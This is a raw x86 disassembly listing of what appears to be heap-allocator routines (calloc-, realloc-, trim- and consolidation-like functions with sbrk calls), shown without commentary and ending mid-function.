804cde3: a8 01 test $0x1,%al
804cde5: 74 10 je 0x804cdf7
804cde7: 85 ed test %ebp,%ebp
804cde9: 74 0c je 0x804cdf7
804cdeb: 39 cb cmp %ecx,%ebx
804cded: 73 08 jae 0x804cdf7
804cdef: 83 e0 fe and $0xfffffffe,%eax
804cdf2: a3 a0 f5 04 08 mov %eax,0x804f5a0
804cdf7: f6 05 a0 f5 04 08 01 testb $0x1,0x804f5a0
804cdfe: 74 75 je 0x804ce75
804ce00: 85 ed test %ebp,%ebp
804ce02: 74 0a je 0x804ce0e
804ce04: 89 d8 mov %ebx,%eax
804ce06: 29 c8 sub %ecx,%eax
804ce08: 01 05 a8 f5 04 08 add %eax,0x804f5a8
804ce0e: 89 da mov %ebx,%edx
804ce10: 83 e2 07 and $0x7,%edx
804ce13: 75 06 jne 0x804ce1b
804ce15: 89 df mov %ebx,%edi
804ce17: 31 c0 xor %eax,%eax
804ce19: eb 0a jmp 0x804ce25
804ce1b: b8 08 00 00 00 mov $0x8,%eax
804ce20: 29 d0 sub %edx,%eax
804ce22: 8d 3c 03 lea (%ebx,%eax,1),%edi
804ce25: 8d 34 33 lea (%ebx,%esi,1),%esi
804ce28: 8d 0c 28 lea (%eax,%ebp,1),%ecx
804ce2b: 89 f2 mov %esi,%edx
804ce2d: 89 74 24 28 mov %esi,0x28(%esp)
804ce31: 01 ca add %ecx,%edx
804ce33: 8b 74 24 18 mov 0x18(%esp),%esi
804ce37: 8d 04 32 lea (%edx,%esi,1),%eax
804ce3a: 23 44 24 20 and 0x20(%esp),%eax
804ce3e: 83 ec 0c sub $0xc,%esp
804ce41: 29 d0 sub %edx,%eax
804ce43: 8d 34 01 lea (%ecx,%eax,1),%esi
804ce46: 56 push %esi
804ce47: e8 19 17 00 00 call 0x804e565
804ce4c: 83 c4 10 add $0x10,%esp
804ce4f: 89 c2 mov %eax,%edx
804ce51: 83 f8 ff cmp $0xffffffff,%eax
804ce54: 75 0e jne 0x804ce64
804ce56: 83 ec 0c sub $0xc,%esp
804ce59: 6a 00 push $0x0
804ce5b: e8 05 17 00 00 call 0x804e565
804ce60: 89 c2 mov %eax,%edx
804ce62: eb 34 jmp 0x804ce98
804ce64: 39 d8 cmp %ebx,%eax
804ce66: 73 35 jae 0x804ce9d
804ce68: 83 25 a0 f5 04 08 fe andl $0xfffffffe,0x804f5a0
804ce6f: 8b 54 24 28 mov 0x28(%esp),%edx
804ce73: eb 07 jmp 0x804ce7c
804ce75: 83 fa ff cmp $0xffffffff,%edx
804ce78: 74 06 je 0x804ce80
804ce7a: 89 df mov %ebx,%edi
804ce7c: 31 f6 xor %esi,%esi
804ce7e: eb 1d jmp 0x804ce9d
804ce80: 83 ec 0c sub $0xc,%esp
804ce83: 89 df mov %ebx,%edi
804ce85: 6a 00 push $0x0
804ce87: e8 d9 16 00 00 call 0x804e565
804ce8c: 89 c2 mov %eax,%edx
804ce8e: 29 d8 sub %ebx,%eax
804ce90: 29 f0 sub %esi,%eax
804ce92: 01 05 a8 f5 04 08 add %eax,0x804f5a8
804ce98: 31 f6 xor %esi,%esi
804ce9a: 83 c4 10 add $0x10,%esp
804ce9d: 83 fa ff cmp $0xffffffff,%edx
804cea0: 74 69 je 0x804cf0b
804cea2: 29 fa sub %edi,%edx
804cea4: 89 3d 6c f2 04 08 mov %edi,0x804f26c
804ceaa: 8d 04 32 lea (%edx,%esi,1),%eax
804cead: 83 c8 01 or $0x1,%eax
804ceb0: 89 47 04 mov %eax,0x4(%edi)
804ceb3: 01 35 a8 f5 04 08 add %esi,0x804f5a8
804ceb9: 85 ed test %ebp,%ebp
804cebb: 74 4e je 0x804cf0b
804cebd: 8d 45 f4 lea -0xc(%ebp),%eax
804cec0: 8b 4c 24 1c mov 0x1c(%esp),%ecx
804cec4: 83 e0 f8 and $0xfffffff8,%eax
804cec7: 89 c2 mov %eax,%edx
804cec9: 83 ca 01 or $0x1,%edx
804cecc: 83 f8 0f cmp $0xf,%eax
804cecf: 89 51 04 mov %edx,0x4(%ecx)
804ced2: c7 44 01 04 05 00 00 movl $0x5,0x4(%ecx,%eax,1)
804ced9: 00
804ceda: c7 44 01 08 05 00 00 movl $0x5,0x8(%ecx,%eax,1)
804cee1: 00
804cee2: 76 27 jbe 0x804cf0b
804cee4: 83 ec 0c sub $0xc,%esp
804cee7: 89 c8 mov %ecx,%eax
804cee9: 83 c0 08 add $0x8,%eax
804ceec: 8b 1d 84 f5 04 08 mov 0x804f584,%ebx
804cef2: 50 push %eax
804cef3: c7 05 84 f5 04 08 ff movl $0xffffffff,0x804f584
804cefa: ff ff ff
804cefd: e8 33 07 00 00 call 0x804d635
804cf02: 89 1d 84 f5 04 08 mov %ebx,0x804f584
804cf08: 83 c4 10 add $0x10,%esp
804cf0b: a1 a8 f5 04 08 mov 0x804f5a8,%eax
804cf10: 3b 05 ac f5 04 08 cmp 0x804f5ac,%eax
804cf16: 76 05 jbe 0x804cf1d
804cf18: a3 ac f5 04 08 mov %eax,0x804f5ac
804cf1d: 03 05 a4 f5 04 08 add 0x804f5a4,%eax
804cf23: 3b 05 b4 f5 04 08 cmp 0x804f5b4,%eax
804cf29: 76 05 jbe 0x804cf30
804cf2b: a3 b4 f5 04 08 mov %eax,0x804f5b4
804cf30: 8b 1d 6c f2 04 08 mov 0x804f26c,%ebx
804cf36: 8b 4b 04 mov 0x4(%ebx),%ecx
804cf39: 83 e1 fc and $0xfffffffc,%ecx
804cf3c: 3b 4c 24 10 cmp 0x10(%esp),%ecx
804cf40: 72 7a jb 0x804cfbc
804cf42: 8b 74 24 14 mov 0x14(%esp),%esi
804cf46: 89 f0 mov %esi,%eax
804cf48: 29 f1 sub %esi,%ecx
804cf4a: 8d 14 33 lea (%ebx,%esi,1),%edx
804cf4d: 83 c8 01 or $0x1,%eax
804cf50: 89 15 6c f2 04 08 mov %edx,0x804f26c
804cf56: 89 43 04 mov %eax,0x4(%ebx)
804cf59: 83 c9 01 or $0x1,%ecx
804cf5c: 83 c3 08 add $0x8,%ebx
804cf5f: 89 4a 04 mov %ecx,0x4(%edx)
804cf62: eb 65 jmp 0x804cfc9
804cf64: 8b 4c 24 14 mov 0x14(%esp),%ecx
804cf68: 89 f8 mov %edi,%eax
804cf6a: 2b 44 24 14 sub 0x14(%esp),%eax
804cf6e: 8d 54 0d 00 lea 0x0(%ebp,%ecx,1),%edx
804cf72: 83 c9 01 or $0x1,%ecx
804cf75: 89 15 70 f2 04 08 mov %edx,0x804f270
804cf7b: 89 4d 04 mov %ecx,0x4(%ebp)
804cf7e: 89 c1 mov %eax,%ecx
804cf80: 89 15 7c f2 04 08 mov %edx,0x804f27c
804cf86: 83 c9 01 or $0x1,%ecx
804cf89: 89 15 80 f2 04 08 mov %edx,0x804f280
804cf8f: c7 42 08 74 f2 04 08 movl $0x804f274,0x8(%edx)
804cf96: c7 42 0c 74 f2 04 08 movl $0x804f274,0xc(%edx)
804cf9d: 89 4a 04 mov %ecx,0x4(%edx)
804cfa0: 89 04 02 mov %eax,(%edx,%eax,1)
804cfa3: eb 09 jmp 0x804cfae
804cfa5: 8b 5c 24 14 mov 0x14(%esp),%ebx
804cfa9: 83 4c 1d 04 01 orl $0x1,0x4(%ebp,%ebx,1)
804cfae: 8d 5d 08 lea 0x8(%ebp),%ebx
804cfb1: eb 16 jmp 0x804cfc9
804cfb3: 83 4c 18 04 01 orl $0x1,0x4(%eax,%ebx,1)
804cfb8: 89 cb mov %ecx,%ebx
804cfba: eb 0d jmp 0x804cfc9
804cfbc: e8 f5 f5 ff ff call 0x804c5b6
804cfc1: 31 db xor %ebx,%ebx
804cfc3: c7 00 0c 00 00 00 movl $0xc,(%eax)
804cfc9: 50 push %eax
804cfca: 50 push %eax
804cfcb: 6a 01 push $0x1
804cfcd: 8d 44 24 38 lea 0x38(%esp),%eax
804cfd1: 50 push %eax
804cfd2: e8 c5 0d 00 00 call 0x804dd9c
804cfd7: 83 c4 10 add $0x10,%esp
804cfda: 83 c4 3c add $0x3c,%esp
804cfdd: 89 d8 mov %ebx,%eax
804cfdf: 5b pop %ebx
804cfe0: 5e pop %esi
804cfe1: 5f pop %edi
804cfe2: 5d pop %ebp
804cfe3: c3 ret
804cfe4: 57 push %edi
804cfe5: 56 push %esi
804cfe6: 53 push %ebx
804cfe7: 83 ec 10 sub $0x10,%esp
804cfea: 8b 54 24 20 mov 0x20(%esp),%edx
804cfee: 8b 4c 24 24 mov 0x24(%esp),%ecx
804cff2: 89 d3 mov %edx,%ebx
804cff4: 0f af d9 imul %ecx,%ebx
804cff7: 85 d2 test %edx,%edx
804cff9: 74 1e je 0x804d019
804cffb: 89 d7 mov %edx,%edi
804cffd: 89 d8 mov %ebx,%eax
804cfff: 31 d2 xor %edx,%edx
804d001: f7 f7 div %edi
804d003: 39 c1 cmp %eax,%ecx
804d005: 74 12 je 0x804d019
804d007: e8 aa f5 ff ff call 0x804c5b6
804d00c: 31 db xor %ebx,%ebx
804d00e: c7 00 0c 00 00 00 movl $0xc,(%eax)
804d014: e9 b6 00 00 00 jmp 0x804d0cf
804d019: 56 push %esi
804d01a: 68 38 f0 04 08 push $0x804f038
804d01f: 68 99 dd 04 08 push $0x804dd99
804d024: 8d 44 24 0c lea 0xc(%esp),%eax
804d028: 50 push %eax
804d029: e8 6e 0d 00 00 call 0x804dd9c
804d02e: c7 04 24 38 f0 04 08 movl $0x804f038,(%esp)
804d035: e8 5f 0d 00 00 call 0x804dd99
804d03a: 89 1c 24 mov %ebx,(%esp)
804d03d: e8 2e f8 ff ff call 0x804c870
804d042: 83 c4 10 add $0x10,%esp
804d045: 89 c3 mov %eax,%ebx
804d047: 85 c0 test %eax,%eax
804d049: 74 73 je 0x804d0be
804d04b: 8b 40 fc mov -0x4(%eax),%eax
804d04e: a8 02 test $0x2,%al
804d050: 75 6c jne 0x804d0be
804d052: 83 e0 fc and $0xfffffffc,%eax
804d055: 8d 50 fc lea -0x4(%eax),%edx
804d058: 89 d0 mov %edx,%eax
804d05a: c1 e8 02 shr $0x2,%eax
804d05d: 83 f8 09 cmp $0x9,%eax
804d060: 76 0f jbe 0x804d071
804d062: 51 push %ecx
804d063: 52 push %edx
804d064: 6a 00 push $0x0
804d066: 53 push %ebx
804d067: e8 9b f5 ff ff call 0x804c607
804d06c: 83 c4 10 add $0x10,%esp
804d06f: eb 4d jmp 0x804d0be
804d071: c7 03 00 00 00 00 movl $0x0,(%ebx)
804d077: c7 43 04 00 00 00 00 movl $0x0,0x4(%ebx)
804d07e: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx)
804d085: 83 f8 04 cmp $0x4,%eax
804d088: 76 34 jbe 0x804d0be
804d08a: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx)
804d091: c7 43 10 00 00 00 00 movl $0x0,0x10(%ebx)
804d098: 83 f8 06 cmp $0x6,%eax
804d09b: 76 21 jbe 0x804d0be
804d09d: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx)
804d0a4: c7 43 18 00 00 00 00 movl $0x0,0x18(%ebx)
804d0ab: 83 f8 08 cmp $0x8,%eax
804d0ae: 76 0e jbe 0x804d0be
804d0b0: c7 43 1c 00 00 00 00 movl $0x0,0x1c(%ebx)
804d0b7: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx)
804d0be: 50 push %eax
804d0bf: 50 push %eax
804d0c0: 6a 01 push $0x1
804d0c2: 8d 44 24 0c lea 0xc(%esp),%eax
804d0c6: 50 push %eax
804d0c7: e8 d0 0c 00 00 call 0x804dd9c
804d0cc: 83 c4 10 add $0x10,%esp
804d0cf: 83 c4 10 add $0x10,%esp
804d0d2: 89 d8 mov %ebx,%eax
804d0d4: 5b pop %ebx
804d0d5: 5e pop %esi
804d0d6: 5f pop %edi
804d0d7: c3 ret
804d0d8: 55 push %ebp
804d0d9: 57 push %edi
804d0da: 56 push %esi
804d0db: 53 push %ebx
804d0dc: 83 ec 1c sub $0x1c,%esp
804d0df: 8b 5c 24 34 mov 0x34(%esp),%ebx
804d0e3: 83 7c 24 30 00 cmpl $0x0,0x30(%esp)
804d0e8: 75 10 jne 0x804d0fa
804d0ea: 83 ec 0c sub $0xc,%esp
804d0ed: 53 push %ebx
804d0ee: e8 7d f7 ff ff call 0x804c870
804d0f3: 89 c3 mov %eax,%ebx
804d0f5: e9 f9 02 00 00 jmp 0x804d3f3
804d0fa: 85 db test %ebx,%ebx
804d0fc: 75 11 jne 0x804d10f
804d0fe: 83 ec 0c sub $0xc,%esp
804d101: ff 74 24 3c pushl 0x3c(%esp)
804d105: e8 2b 05 00 00 call 0x804d635
804d10a: e9 e4 02 00 00 jmp 0x804d3f3
804d10f: 57 push %edi
804d110: 68 38 f0 04 08 push $0x804f038
804d115: 68 99 dd 04 08 push $0x804dd99
804d11a: 8d 44 24 18 lea 0x18(%esp),%eax
804d11e: 50 push %eax
804d11f: e8 78 0c 00 00 call 0x804dd9c
804d124: c7 04 24 38 f0 04 08 movl $0x804f038,(%esp)
804d12b: e8 69 0c 00 00 call 0x804dd99
804d130: 83 c4 10 add $0x10,%esp
804d133: 83 fb df cmp $0xffffffdf,%ebx
804d136: 76 12 jbe 0x804d14a
804d138: e8 79 f4 ff ff call 0x804c5b6
804d13d: 31 db xor %ebx,%ebx
804d13f: c7 00 0c 00 00 00 movl $0xc,(%eax)
804d145: e9 ac 02 00 00 jmp 0x804d3f6
804d14a: 8d 43 0b lea 0xb(%ebx),%eax
804d14d: c7 44 24 04 10 00 00 movl $0x10,0x4(%esp)
804d154: 00
804d155: 83 f8 0f cmp $0xf,%eax
804d158: 76 07 jbe 0x804d161
804d15a: 83 e0 f8 and $0xfffffff8,%eax
804d15d: 89 44 24 04 mov %eax,0x4(%esp)
804d161: 8b 7c 24 30 mov 0x30(%esp),%edi
804d165: 83 ef 08 sub $0x8,%edi
804d168: 8b 57 04 mov 0x4(%edi),%edx
804d16b: 89 d0 mov %edx,%eax
804d16d: 83 e0 fc and $0xfffffffc,%eax
804d170: 89 44 24 08 mov %eax,0x8(%esp)
804d174: f6 c2 02 test $0x2,%dl
804d177: 0f 85 94 01 00 00 jne 0x804d311
804d17d: 8b 4c 24 04 mov 0x4(%esp),%ecx
804d181: 89 c3 mov %eax,%ebx
804d183: 39 c8 cmp %ecx,%eax
804d185: 0f 83 31 01 00 00 jae 0x804d2bc
804d18b: 8d 34 07 lea (%edi,%eax,1),%esi
804d18e: 3b 35 6c f2 04 08 cmp 0x804f26c,%esi
804d194: 75 38 jne 0x804d1ce
804d196: 8b 46 04 mov 0x4(%esi),%eax
804d199: 89 d9 mov %ebx,%ecx
804d19b: 83 e0 fc and $0xfffffffc,%eax
804d19e: 01 c1 add %eax,%ecx
804d1a0: 8b 44 24 04 mov 0x4(%esp),%eax
804d1a4: 83 c0 10 add $0x10,%eax
804d1a7: 39 c1 cmp %eax,%ecx
804d1a9: 72 61 jb 0x804d20c
804d1ab: 83 e2 01 and $0x1,%edx
804d1ae: 0b 54 24 04 or 0x4(%esp),%edx
804d1b2: 89 57 04 mov %edx,0x4(%edi)
804d1b5: 8b 74 24 04 mov 0x4(%esp),%esi
804d1b9: 29 f1 sub %esi,%ecx
804d1bb: 8d 04 37 lea (%edi,%esi,1),%eax
804d1be: 83 c9 01 or $0x1,%ecx
804d1c1: a3 6c f2 04 08 mov %eax,0x804f26c
804d1c6: 89 48 04 mov %ecx,0x4(%eax)
804d1c9: e9 13 02 00 00 jmp 0x804d3e1
804d1ce: 8b 56 04 mov 0x4(%esi),%edx
804d1d1: 89 d0 mov %edx,%eax
804d1d3: 83 e0 fe and $0xfffffffe,%eax
804d1d6: f6 44 06 04 01 testb $0x1,0x4(%esi,%eax,1)
804d1db: 75 2f jne 0x804d20c
804d1dd: 83 e2 fc and $0xfffffffc,%edx
804d1e0: 8b 5c 24 08 mov 0x8(%esp),%ebx
804d1e4: 01 d3 add %edx,%ebx
804d1e6: 3b 5c 24 04 cmp 0x4(%esp),%ebx
804d1ea: 72 20 jb 0x804d20c
804d1ec: 8b 56 08 mov 0x8(%esi),%edx
804d1ef: 8b 46 0c mov 0xc(%esi),%eax
804d1f2: 39 72 0c cmp %esi,0xc(%edx)
804d1f5: 75 05 jne 0x804d1fc
804d1f7: 39 70 08 cmp %esi,0x8(%eax)
804d1fa: 74 05 je 0x804d201
804d1fc: e8 d0 05 00 00 call 0x804d7d1
804d201: 89 42 0c mov %eax,0xc(%edx)
804d204: 89 50 08 mov %edx,0x8(%eax)
804d207: e9 b0 00 00 00 jmp 0x804d2bc
804d20c: 83 ec 0c sub $0xc,%esp
804d20f: 8b 44 24 10 mov 0x10(%esp),%eax
804d213: 83 e8 07 sub $0x7,%eax
804d216: 50 push %eax
804d217: e8 54 f6 ff ff call 0x804c870
804d21c: 83 c4 10 add $0x10,%esp
804d21f: 89 c2 mov %eax,%edx
804d221: 85 c0 test %eax,%eax
804d223: 0f 84 b4 01 00 00 je 0x804d3dd
804d229: 8d 58 f8 lea -0x8(%eax),%ebx
804d22c: 39 f3 cmp %esi,%ebx
804d22e: 8b 43 04 mov 0x4(%ebx),%eax
804d231: 75 0c jne 0x804d23f
804d233: 83 e0 fc and $0xfffffffc,%eax
804d236: 8b 54 24 08 mov 0x8(%esp),%edx
804d23a: 8d 1c 10 lea (%eax,%edx,1),%ebx
804d23d: eb 7d jmp 0x804d2bc
804d23f: 8b 44 24 08 mov 0x8(%esp),%eax
804d243: 83 e8 04 sub $0x4,%eax
804d246: 89 c1 mov %eax,%ecx
804d248: c1 e9 02 shr $0x2,%ecx
804d24b: 83 f9 09 cmp $0x9,%ecx
804d24e: 76 11 jbe 0x804d261
804d250: 56 push %esi
804d251: 50 push %eax
804d252: ff 74 24 38 pushl 0x38(%esp)
804d256: 52 push %edx
804d257: e8 57 14 00 00 call 0x804e6b3
804d25c: 83 c4 10 add $0x10,%esp
804d25f: eb 47 jmp 0x804d2a8
804d261: 8b 74 24 30 mov 0x30(%esp),%esi
804d265: 83 f9 04 cmp $0x4,%ecx
804d268: 8b 06 mov (%esi),%eax
804d26a: 89 02 mov %eax,(%edx)
804d26c: 8b 46 04 mov 0x4(%esi),%eax
804d26f: 89 42 04 mov %eax,0x4(%edx)
804d272: 8b 46 08 mov 0x8(%esi),%eax
804d275: 89 42 08 mov %eax,0x8(%edx)
804d278: 76 2e jbe 0x804d2a8
804d27a: 8b 46 0c mov 0xc(%esi),%eax
804d27d: 83 f9 06 cmp $0x6,%ecx
804d280: 89 42 0c mov %eax,0xc(%edx)
804d283: 8b 46 10 mov 0x10(%esi),%eax
804d286: 89 42 10 mov %eax,0x10(%edx)
804d289: 76 1d jbe 0x804d2a8
804d28b: 8b 46 14 mov 0x14(%esi),%eax
804d28e: 83 f9 08 cmp $0x8,%ecx
804d291: 89 42 14 mov %eax,0x14(%edx)
804d294: 8b 46 18 mov 0x18(%esi),%eax
804d297: 89 42 18 mov %eax,0x18(%edx)
804d29a: 76 0c jbe 0x804d2a8
804d29c: 8b 46 1c mov 0x1c(%esi),%eax
804d29f: 89 42 1c mov %eax,0x1c(%edx)
804d2a2: 8b 46 20 mov 0x20(%esi),%eax
804d2a5: 89 42 20 mov %eax,0x20(%edx)
804d2a8: 83 ec 0c sub $0xc,%esp
804d2ab: 83 c3 08 add $0x8,%ebx
804d2ae: ff 74 24 3c pushl 0x3c(%esp)
804d2b2: e8 7e 03 00 00 call 0x804d635
804d2b7: e9 1c 01 00 00 jmp 0x804d3d8
804d2bc: 89 d9 mov %ebx,%ecx
804d2be: 2b 4c 24 04 sub 0x4(%esp),%ecx
804d2c2: 83 f9 0f cmp $0xf,%ecx
804d2c5: 77 12 ja 0x804d2d9
804d2c7: 8b 47 04 mov 0x4(%edi),%eax
804d2ca: 83 e0 01 and $0x1,%eax
804d2cd: 09 d8 or %ebx,%eax
804d2cf: 89 47 04 mov %eax,0x4(%edi)
804d2d2: 83 4c 1f 04 01 orl $0x1,0x4(%edi,%ebx,1)
804d2d7: eb 30 jmp 0x804d309
804d2d9: 8b 54 24 04 mov 0x4(%esp),%edx
804d2dd: 8d 04 17 lea (%edi,%edx,1),%eax
804d2e0: 8b 57 04 mov 0x4(%edi),%edx
804d2e3: 83 e2 01 and $0x1,%edx
804d2e6: 0b 54 24 04 or 0x4(%esp),%edx
804d2ea: 83 ec 0c sub $0xc,%esp
804d2ed: 89 57 04 mov %edx,0x4(%edi)
804d2f0: 89 ca mov %ecx,%edx
804d2f2: 83 ca 01 or $0x1,%edx
804d2f5: 89 50 04 mov %edx,0x4(%eax)
804d2f8: 83 4c 08 04 01 orl $0x1,0x4(%eax,%ecx,1)
804d2fd: 83 c0 08 add $0x8,%eax
804d300: 50 push %eax
804d301: e8 2f 03 00 00 call 0x804d635
804d306: 83 c4 10 add $0x10,%esp
804d309: 8d 5f 08 lea 0x8(%edi),%ebx
804d30c: e9 d4 00 00 00 jmp 0x804d3e5
804d311: 8b 4c 24 30 mov 0x30(%esp),%ecx
804d315: a1 9c f5 04 08 mov 0x804f59c,%eax
804d31a: 48 dec %eax
804d31b: 8b 74 24 04 mov 0x4(%esp),%esi
804d31f: 8b 69 f8 mov -0x8(%ecx),%ebp
804d322: 83 c6 04 add $0x4,%esi
804d325: 89 34 24 mov %esi,(%esp)
804d328: 8d 14 28 lea (%eax,%ebp,1),%edx
804d32b: f7 d0 not %eax
804d32d: 8d 34 32 lea (%edx,%esi,1),%esi
804d330: 21 c6 and %eax,%esi
804d332: 89 f3 mov %esi,%ebx
804d334: 29 eb sub %ebp,%ebx
804d336: 39 5c 24 08 cmp %ebx,0x8(%esp)
804d33a: 0f 84 a1 00 00 00 je 0x804d3e1
804d340: 6a 01 push $0x1
804d342: 56 push %esi
804d343: 8b 44 24 10 mov 0x10(%esp),%eax
804d347: 29 ef sub %ebp,%edi
804d349: 01 e8 add %ebp,%eax
804d34b: 50 push %eax
804d34c: 57 push %edi
804d34d: e8 70 11 00 00 call 0x804e4c2
804d352: 83 c4 10 add $0x10,%esp
804d355: 83 f8 ff cmp $0xffffffff,%eax
804d358: 74 3f je 0x804d399
804d35a: 8d 14 28 lea (%eax,%ebp,1),%edx
804d35d: 83 cb 02 or $0x2,%ebx
804d360: 89 f0 mov %esi,%eax
804d362: 89 5a 04 mov %ebx,0x4(%edx)
804d365: 2b 44 24 08 sub 0x8(%esp),%eax
804d369: 03 05 a4 f5 04 08 add 0x804f5a4,%eax
804d36f: a3 a4 f5 04 08 mov %eax,0x804f5a4
804d374: 3b 05 b0 f5 04 08 cmp 0x804f5b0,%eax
804d37a: 76 05 jbe 0x804d381
804d37c: a3 b0 f5 04 08 mov %eax,0x804f5b0
804d381: 03 05 a8 f5 04 08 add 0x804f5a8,%eax
804d387: 3b 05 b4 f5 04 08 cmp 0x804f5b4,%eax
804d38d: 76 05 jbe 0x804d394
804d38f: a3 b4 f5 04 08 mov %eax,0x804f5b4
804d394: 8d 5a 08 lea 0x8(%edx),%ebx
804d397: eb 4c jmp 0x804d3e5
804d399: 8b 04 24 mov (%esp),%eax
804d39c: 39 44 24 08 cmp %eax,0x8(%esp)
804d3a0: 73 3f jae 0x804d3e1
804d3a2: 83 ec 0c sub $0xc,%esp
804d3a5: 8b 44 24 10 mov 0x10(%esp),%eax
804d3a9: 83 e8 07 sub $0x7,%eax
804d3ac: 50 push %eax
804d3ad: e8 be f4 ff ff call 0x804c870
804d3b2: 83 c4 10 add $0x10,%esp
804d3b5: 89 c3 mov %eax,%ebx
804d3b7: 85 c0 test %eax,%eax
804d3b9: 74 22 je 0x804d3dd
804d3bb: 51 push %ecx
804d3bc: 8b 44 24 0c mov 0xc(%esp),%eax
804d3c0: 83 e8 08 sub $0x8,%eax
804d3c3: 50 push %eax
804d3c4: ff 74 24 38 pushl 0x38(%esp)
804d3c8: 53 push %ebx
804d3c9: e8 e5 12 00 00 call 0x804e6b3
804d3ce: 5a pop %edx
804d3cf: ff 74 24 3c pushl 0x3c(%esp)
804d3d3: e8 5d 02 00 00 call 0x804d635
804d3d8: 83 c4 10 add $0x10,%esp
804d3db: eb 08 jmp 0x804d3e5
804d3dd: 31 db xor %ebx,%ebx
804d3df: eb 04 jmp 0x804d3e5
804d3e1: 8b 5c 24 30 mov 0x30(%esp),%ebx
804d3e5: 50 push %eax
804d3e6: 50 push %eax
804d3e7: 6a 01 push $0x1
804d3e9: 8d 44 24 18 lea 0x18(%esp),%eax
804d3ed: 50 push %eax
804d3ee: e8 a9 09 00 00 call 0x804dd9c
804d3f3: 83 c4 10 add $0x10,%esp
804d3f6: 83 c4 1c add $0x1c,%esp
804d3f9: 89 d8 mov %ebx,%eax
804d3fb: 5b pop %ebx
804d3fc: 5e pop %esi
804d3fd: 5f pop %edi
804d3fe: 5d pop %ebp
804d3ff: c3 ret
804d400: 55 push %ebp
804d401: 57 push %edi
804d402: 56 push %esi
804d403: 53 push %ebx
804d404: 83 ec 0c sub $0xc,%esp
804d407: 89 d5 mov %edx,%ebp
804d409: 8b 8a 5c 03 00 00 mov 0x35c(%edx),%ecx
804d40f: 8b 52 2c mov 0x2c(%edx),%edx
804d412: 8b 72 04 mov 0x4(%edx),%esi
804d415: 83 e6 fc and $0xfffffffc,%esi
804d418: 89 f2 mov %esi,%edx
804d41a: 29 c2 sub %eax,%edx
804d41c: 8d 44 0a ef lea -0x11(%edx,%ecx,1),%eax
804d420: 31 d2 xor %edx,%edx
804d422: f7 f1 div %ecx
804d424: 8d 58 ff lea -0x1(%eax),%ebx
804d427: 0f af d9 imul %ecx,%ebx
804d42a: 85 db test %ebx,%ebx
804d42c: 7e 55 jle 0x804d483
804d42e: 83 ec 0c sub $0xc,%esp
804d431: 6a 00 push $0x0
804d433: e8 2d 11 00 00 call 0x804e565
804d438: 89 c7 mov %eax,%edi
804d43a: 89 f0 mov %esi,%eax
804d43c: 03 45 2c add 0x2c(%ebp),%eax
804d43f: 83 c4 10 add $0x10,%esp
804d442: 39 c7 cmp %eax,%edi
804d444: 75 3d jne 0x804d483
804d446: 83 ec 0c sub $0xc,%esp
804d449: f7 db neg %ebx
804d44b: 53 push %ebx
804d44c: e8 14 11 00 00 call 0x804e565
804d451: c7 04 24 00 00 00 00 movl $0x0,(%esp)
804d458: e8 08 11 00 00 call 0x804e565
804d45d: 83 c4 10 add $0x10,%esp
804d460: 83 f8 ff cmp $0xffffffff,%eax
804d463: 74 1e je 0x804d483
804d465: 89 f9 mov %edi,%ecx
804d467: 29 c1 sub %eax,%ecx
804d469: 74 18 je 0x804d483
804d46b: 8b 45 2c mov 0x2c(%ebp),%eax
804d46e: 29 8d 68 03 00 00 sub %ecx,0x368(%ebp)
804d474: 29 ce sub %ecx,%esi
804d476: 83 ce 01 or $0x1,%esi
804d479: 89 70 04 mov %esi,0x4(%eax)
804d47c: b8 01 00 00 00 mov $0x1,%eax
804d481: eb 02 jmp 0x804d485
804d483: 31 c0 xor %eax,%eax
804d485: 83 c4 0c add $0xc,%esp
804d488: 5b pop %ebx
804d489: 5e pop %esi
804d48a: 5f pop %edi
804d48b: 5d pop %ebp
804d48c: c3 ret
804d48d: 55 push %ebp
804d48e: 57 push %edi
804d48f: 56 push %esi
804d490: 53 push %ebx
804d491: 83 ec 1c sub $0x1c,%esp
804d494: 8b 54 24 30 mov 0x30(%esp),%edx
804d498: 8b 02 mov (%edx),%eax
804d49a: ba 01 00 00 00 mov $0x1,%edx
804d49f: 85 c0 test %eax,%eax
804d4a1: 0f 84 21 01 00 00 je 0x804d5c8
804d4a7: 8b 4c 24 30 mov 0x30(%esp),%ecx
804d4ab: 83 e0 fd and $0xfffffffd,%eax
804d4ae: 89 01 mov %eax,(%ecx)
804d4b0: 83 c1 34 add $0x34,%ecx
804d4b3: 8b 44 24 30 mov 0x30(%esp),%eax
804d4b7: 8b 54 24 30 mov 0x30(%esp),%edx
804d4bb: 83 c0 04 add $0x4,%eax
804d4be: 89 4c 24 18 mov %ecx,0x18(%esp)
804d4c2: 89 44 24 0c mov %eax,0xc(%esp)
804d4c6: 8b 02 mov (%edx),%eax
804d4c8: 8b 4c 24 0c mov 0xc(%esp),%ecx
804d4cc: c1 e8 03 shr $0x3,%eax
804d4cf: 8d 44 81 f8 lea -0x8(%ecx,%eax,4),%eax
804d4d3: 89 44 24 10 mov %eax,0x10(%esp)
804d4d7: 8b 44 24 0c mov 0xc(%esp),%eax
804d4db: 8b 08 mov (%eax),%ecx
804d4dd: 85 c9 test %ecx,%ecx
804d4df: 0f 84 c0 00 00 00 je 0x804d5a5
804d4e5: c7 00 00 00 00 00 movl $0x0,(%eax)
804d4eb: 8b 51 08 mov 0x8(%ecx),%edx
804d4ee: 89 54 24 14 mov %edx,0x14(%esp)
804d4f2: 8b 41 04 mov 0x4(%ecx),%eax
804d4f5: 89 c7 mov %eax,%edi
804d4f7: 83 e7 fe and $0xfffffffe,%edi
804d4fa: a8 01 test $0x1,%al
804d4fc: 8d 1c 39 lea (%ecx,%edi,1),%ebx
804d4ff: 8b 53 04 mov 0x4(%ebx),%edx
804d502: 89 54 24 08 mov %edx,0x8(%esp)
804d506: 75 20 jne 0x804d528
804d508: 8b 29 mov (%ecx),%ebp
804d50a: 89 c8 mov %ecx,%eax
804d50c: 29 e8 sub %ebp,%eax
804d50e: 8b 70 08 mov 0x8(%eax),%esi
804d511: 8b 50 0c mov 0xc(%eax),%edx
804d514: 8b 4e 0c mov 0xc(%esi),%ecx
804d517: 39 c1 cmp %eax,%ecx
804d519: 75 3d jne 0x804d558
804d51b: 39 4a 08 cmp %ecx,0x8(%edx)
804d51e: 75 38 jne 0x804d558
804d520: 01 ef add %ebp,%edi
804d522: 89 56 0c mov %edx,0xc(%esi)
804d525: 89 72 08 mov %esi,0x8(%edx)
